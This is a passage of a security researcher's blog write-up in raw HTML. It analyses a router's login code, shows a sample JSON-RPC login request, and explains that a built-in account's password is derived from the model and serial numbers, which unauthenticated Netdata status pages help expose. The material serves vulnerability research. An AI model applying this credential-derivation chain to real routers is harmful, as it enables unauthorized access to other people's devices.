#F8F8F2\">(resp));<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">                <\/span><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> (resp.success) {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">                    $juci.loggedin <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #AE81FF\">true<\/span><span style=\"color: #F8F8F2\">;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">                    sessionStorage.<\/span><span style=\"color: #A6E22E\">setItem<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #E6DB74\">&quot;sid&quot;<\/span><span style=\"color: #F8F8F2\">, resp.success);<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">                    UCI.<\/span><span style=\"color: #A6E22E\">$sync<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #E6DB74\">&quot;mfgmode&quot;<\/span><span style=\"color: #F8F8F2\">).<\/span><span style=\"color: #A6E22E\">done<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #66D9EF; font-style: italic\">function<\/span><span style=\"color: #F8F8F2\">() {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">                        $juci.config.mfgmode <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> UCI.mfgmode <\/span><span style=\"color: #F92672\">&amp;&amp;<\/span><span style=\"color: #F8F8F2\"> UCI.mfgmode.mfgmode <\/span><span style=\"color: #F92672\">&amp;&amp;<\/span><span style=\"color: #F8F8F2\"> UCI.mfgmode.mfgmode.enabled <\/span><span style=\"color: #F92672\">?<\/span><span style=\"color: #F8F8F2\"> UCI.mfgmode.mfgmode.enabled.value <\/span><span style=\"color: #F92672\">:<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #AE81FF\">false<\/span><span style=\"color: #F8F8F2\">;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">                        <\/span><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> ($juci.config.mfgmode) {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">                            self.<\/span><span style=\"color: #A6E22E\">$logout<\/span><span style=\"color: #F8F8F2\">();<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">                            def.<\/span><span style=\"color: #A6E22E\">reject<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #E6DB74\">&quot;Device Manufacture Incomplete: Login Disabled&quot;<\/span><span style=\"color: #F8F8F2\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">                        } <\/span><span style=\"color: #F92672\">else<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">                            def.<\/span><span style=\"color: #A6E22E\">resolve<\/span><span style=\"color: #F8F8F2\">(resp.success)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">                    }).<\/span><span style=\"color: #A6E22E\">fail<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #66D9EF; font-style: italic\">function<\/span><span style=\"color: #F8F8F2\">() {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">                        def.<\/span><span style=\"color: #A6E22E\">resolve<\/span><span style=\"color: #F8F8F2\">(resp.success)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">                    })<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">                }<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">                <\/span><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> (resp.error)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">                    def.<\/span><span style=\"color: #A6E22E\">reject<\/span><span style=\"color: #F8F8F2\">()<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            }).<\/span><span style=\"color: #A6E22E\">fail<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #66D9EF; font-style: italic\">function<\/span><span style=\"color: #F8F8F2\">() {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">                def.<\/span><span style=\"color: #A6E22E\">reject<\/span><span style=\"color: #F8F8F2\">()<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            })<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        }).<\/span><span style=\"color: #A6E22E\">fail<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #66D9EF; font-style: italic\">function<\/span><span style=\"color: #F8F8F2\">() {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            def.<\/span><span style=\"color: #A6E22E\">reject<\/span><span style=\"color: #F8F8F2\">()<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        });<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> def.<\/span><span style=\"color: #A6E22E\">promise<\/span><span style=\"color: #F8F8F2\">()<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    }<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">The two interesting lines are:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>var sha = new jsSHA(\"SHA-1\",\"TEXT\");\nvar pwhash = new jsSHA(\"SHA-1\",\"TEXT\");<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #66D9EF; font-style: italic\">var<\/span><span style=\"color: #F8F8F2\"> sha <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">new<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">jsSHA<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #E6DB74\">&quot;SHA-1&quot;<\/span><span style=\"color: #F8F8F2\">,<\/span><span style=\"color: #E6DB74\">&quot;TEXT&quot;<\/span><span style=\"color: #F8F8F2\">);<\/span><\/span>\n<span class=\"line\"><span style=\"color: #66D9EF; font-style: italic\">var<\/span><span style=\"color: #F8F8F2\"> pwhash <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">new<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">jsSHA<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #E6DB74\">&quot;SHA-1&quot;<\/span><span style=\"color: #F8F8F2\">,<\/span><span style=\"color: #E6DB74\">&quot;TEXT&quot;<\/span><span style=\"color: #F8F8F2\">);<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">The router uses <a href=\"https:\/\/en.wikipedia.org\/wiki\/SHA-1\">SHA-1<\/a> to make the authentication. SHA-1 is very known algorithm especially in Linux\/Unix. This algorithm is used to generate the password hash that we see in the <strong>\/etc\/shadow<\/strong> file.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">So, after receiving the token and the salt, we generate a SHA-1 hash with the password entered by the user. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">So the steps to login are:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>creates a new jsSHA object using the SHA-1 algorithm and in TEXT input format.<\/li>\n\n\n\n<li>Updates the password to be hashed.<\/li>\n\n\n\n<li>Updates the token to be hashed.<\/li>\n\n\n\n<li>Updates the final result with the password&#8217;s hash in HEX format<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">The process is not yet finished since the token and the salt that we received should be used to generate the same hash that exists in the shadow file in the router&#8217;s file system.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The function responsible for that is below:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>RevoRPC.prototype.$response = function(password, salt, challenge) {\n        var result = {};\n        result.hash = md5crypt(password, salt);\n        var s = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\";\n        result.challenge = Array(32).join().split(\",\").map(function() {\n            return s.charAt(Math.floor(Math.random() * s.length))\n        }).join(\"\");\n        result.response = md5(result.challenge + challenge + result.hash);\n        return result\n    }<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #66D9EF; font-style: italic\">RevoRPC<\/span><span style=\"color: #F8F8F2\">.prototype.<\/span><span style=\"color: #A6E22E\">$response<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #66D9EF; font-style: italic\">function<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">password<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">salt<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">challenge<\/span><span style=\"color: #F8F8F2\">) {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #66D9EF; font-style: italic\">var<\/span><span style=\"color: #F8F8F2\"> result <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> {};<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        result.hash <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">md5crypt<\/span><span style=\"color: #F8F8F2\">(password, salt);<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #66D9EF; font-style: italic\">var<\/span><span style=\"color: #F8F8F2\"> s <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&quot;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789&quot;<\/span><span style=\"color: #F8F8F2\">;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        result.challenge <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">Array<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #AE81FF\">32<\/span><span style=\"color: #F8F8F2\">).<\/span><span style=\"color: #A6E22E\">join<\/span><span style=\"color: #F8F8F2\">().<\/span><span style=\"color: #A6E22E\">split<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #E6DB74\">&quot;,&quot;<\/span><span style=\"color: #F8F8F2\">).<\/span><span style=\"color: #A6E22E\">map<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #66D9EF; font-style: italic\">function<\/span><span style=\"color: #F8F8F2\">() {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> s.<\/span><span style=\"color: #A6E22E\">charAt<\/span><span style=\"color: #F8F8F2\">(Math.<\/span><span style=\"color: #A6E22E\">floor<\/span><span style=\"color: #F8F8F2\">(Math.<\/span><span style=\"color: #A6E22E\">random<\/span><span style=\"color: #F8F8F2\">() <\/span><span style=\"color: #F92672\">*<\/span><span style=\"color: #F8F8F2\"> s.length))<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        }).<\/span><span style=\"color: #A6E22E\">join<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #E6DB74\">&quot;&quot;<\/span><span style=\"color: #F8F8F2\">);<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        result.response <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">md5<\/span><span style=\"color: #F8F8F2\">(result.challenge <\/span><span style=\"color: #F92672\">+<\/span><span style=\"color: #F8F8F2\"> challenge <\/span><span style=\"color: #F92672\">+<\/span><span style=\"color: #F8F8F2\"> result.hash);<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> result<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    }<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">Md5Crypt create a Linux hash the same one as Linux does with the <strong>passwd<\/strong> command. We give the salt, the password and the function make the cooking. The result contains two values:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The challenge which is the SHA-1 found in the shadow file<\/li>\n\n\n\n<li>the md5 hash to check for the challenge integrity.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">So, when everything is ready the router wrap it up and send it to his <strong>Websocket<\/strong>. The request looks like that:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>{\"jsonrpc\":\"2.0\",\"id\":16,\"method\":\"login\",\"params\":&#91;\"admin\",\"1d4c629fb7a215fc22d159125727f1f5\",\"xWae5q5H18yk8PGWxgF6iSbznfVffadf\"&#93;}<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #F8F8F2\">{<\/span><span style=\"color: #E6DB74\">&quot;jsonrpc&quot;<\/span><span style=\"color: #F8F8F2\">:<\/span><span style=\"color: #E6DB74\">&quot;2.0&quot;<\/span><span style=\"color: #F8F8F2\">,<\/span><span style=\"color: #E6DB74\">&quot;id&quot;<\/span><span style=\"color: #F8F8F2\">:<\/span><span style=\"color: #AE81FF\">16<\/span><span style=\"color: #F8F8F2\">,<\/span><span style=\"color: #E6DB74\">&quot;method&quot;<\/span><span style=\"color: #F8F8F2\">:<\/span><span style=\"color: #E6DB74\">&quot;login&quot;<\/span><span style=\"color: #F8F8F2\">,<\/span><span style=\"color: #E6DB74\">&quot;params&quot;<\/span><span style=\"color: #F8F8F2\">:&#91;<\/span><span style=\"color: #E6DB74\">&quot;admin&quot;<\/span><span style=\"color: #F8F8F2\">,<\/span><span style=\"color: #E6DB74\">&quot;1d4c629fb7a215fc22d159125727f1f5&quot;<\/span><span style=\"color: #F8F8F2\">,<\/span><span style=\"color: #E6DB74\">&quot;xWae5q5H18yk8PGWxgF6iSbznfVffadf&quot;<\/span><span style=\"color: #F8F8F2\">&#93;}<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">The SHA-1 value is compared internally with the SHA-1 in the shadow file. If it does match a session key is returned if not an EACCESS is returned which means &#8220;Authentication Error&#8221;<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>{\"jsonrpc\":\"2.0\",\"id\":16,\"error\":{\"code\":\"EACCESS\"}}<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #F8F8F2\">{<\/span><span style=\"color: #E6DB74\">&quot;jsonrpc&quot;<\/span><span style=\"color: #F8F8F2\">:<\/span><span style=\"color: #E6DB74\">&quot;2.0&quot;<\/span><span style=\"color: #F8F8F2\">,<\/span><span style=\"color: #E6DB74\">&quot;id&quot;<\/span><span style=\"color: #F8F8F2\">:<\/span><span style=\"color: #AE81FF\">16<\/span><span style=\"color: #F8F8F2\">,<\/span><span style=\"color: #E6DB74\">&quot;error&quot;<\/span><span style=\"color: #F8F8F2\">:{<\/span><span style=\"color: #E6DB74\">&quot;code&quot;<\/span><span style=\"color: #F8F8F2\">:<\/span><span style=\"color: #E6DB74\">&quot;EACCESS&quot;<\/span><span style=\"color: #F8F8F2\">}}<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">So now you understand the inner workings of the router&#8217;s authentication mechanism. Let&#8217;s see the last step before the final exploit.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"498\" height=\"272\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/ouf.gif\" alt=\"\" class=\"wp-image-226\"\/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">$ Your Router talks too much<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">If you remember earlier, I showed you some scripts that contain some authentication mechanism and how the password is generated for &#8220;<strong>mysmartrg<\/strong>&#8221; user. We also know that the password is a combination of the <strong>serial number + model number<\/strong><\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>pass=${MFG_MODEL}-${MFG_SERIAL}<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #F8F8F2\">pass<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\">${MFG_MODEL}<\/span><span style=\"color: #F92672\">-<\/span><span style=\"color: #F8F8F2\">${MFG_SERIAL}<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Do you remember when I said how <strong>Netdata <\/strong>helped me to get what I wanted from the router to build the exploit. I think this is the best example to show you how just a simple information disclosure can be chained with other bugs to increase the impact of the vulnerability and that&#8217;s exactly what I did.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The router contain in CGI-BIN folder a file that disclose the router&#8217;s Mac address. We all know that there are many tools in Internet that perform an IP scan and get the MAC address. The most used network scanner is <strong>Nmap<\/strong>. However, in my case I didn&#8217;t use it. I wanted to step up the game a little further and use what the router offers.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In fact, what you see in the router&#8217;s dashboard is <strong>Netdata <\/strong>pages that was included. <strong>Netdata<\/strong> has many pages that you can access to them without any authentication mechanism. The most interesting ones in our case are:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\/status.html<\/strong><\/li>\n\n\n\n<li><strong>\/cgi-bin\/status<\/strong> binary<\/li>\n<\/ul>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"344\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-87-1024x344.png\" alt=\"\" class=\"wp-image-196\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-87-1024x344.png 1024w, 